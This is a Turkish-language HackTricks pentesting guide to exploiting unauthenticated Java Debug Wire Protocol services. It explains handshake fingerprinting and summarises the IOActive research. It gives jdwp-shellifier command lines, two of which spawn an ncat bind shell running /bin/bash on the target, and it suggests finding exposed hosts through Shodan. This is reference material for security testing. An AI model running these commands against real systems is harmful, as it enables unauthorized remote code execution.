hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-02-10 18:14:16 +00:00

6.8 KiB
Raw Blame History

JDWP Pentesting - Java Debug Wire Protocol

AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Sömürme

JDWP sömürüsü, protokolün kimlik doğrulama ve şifreleme eksikliğine dayanır. Genellikle 8000 numaralı portta bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" göndererek yapılır. Eğer bir JDWP hizmeti etkinse, aynı dizeyle yanıt vererek varlığını doğrular. Bu el sıkışması, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.

Süreç tanımlamasıısından, Java süreçlerinde "jdwk" dizesini aramak, etkin bir JDWP oturumunu gösterebilir.

En yaygın kullanılan araç jdwp-shellifier'dır. Farklı parametrelerle kullanabilirsiniz:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

--break-on 'java.lang.String.indexOf' kullanımının saldırıyı daha istikrarlı hale getirdiğini buldum. Ve eğer bir ana bilgisayara bir arka kapı yüklemek ve bunun yerine bir komut çalıştırmak için şansınız varsa, saldırı daha da istikrarlı olacaktır.

Daha Fazla Detay

Bu, https://ioactive.com/hacking-java-debug-wire-protocol-or-how/ adresindeki bir özetidir. Daha fazla ayrıntı için kontrol edin.

  1. JDWP Genel Bakış:
  • Paket tabanlı bir ağ ikili protokoldür, temel olarak senkroniktir.
  • Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
  1. JDWP El Sıkışması:
  • İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Hata Ayıklayıcı (istemci) ve Hata Ayıklanan (sunucu) arasında "JDWP-Handshake" adında 14 karakterlik bir ASCII dizesi alışverişi yapılır.
  1. JDWP İletişimi:
  • Mesajlar Uzunluk, Kimlik, Bayrak ve KomutSeti gibi alanlara sahip basit bir yapıya sahiptir.
  • KomutSeti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylemleri ve olayları temsil eder.
  1. Sömürü:
  • JDWP, keyfi sınıfların ve baytların yüklenmesine ve çağrılmasına izin verir, bu da güvenlik riskleri oluşturur.
  • Makale, Java Runtime referanslarını almak, kesme noktalarını ayarlamak ve yöntemleri çağırmak gibi beş adımdan oluşan bir sömürü sürecini detaylandırıyor.
  1. Gerçek Hayat Sömürüsü:
  • Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri ShodanHQ ve GitHub gibi platformlarda arama yapılarak gerçek dünya senaryolarında keşfedilebilir ve sömürülebilir.
  • Sömürü betiği çeşitli JDK sürümleri üzerinde test edildi ve platform bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunar.
  1. Güvenlik Sonuçları:
  • İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmaları yapma ihtiyacını vurgular.

Referanslar:

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları: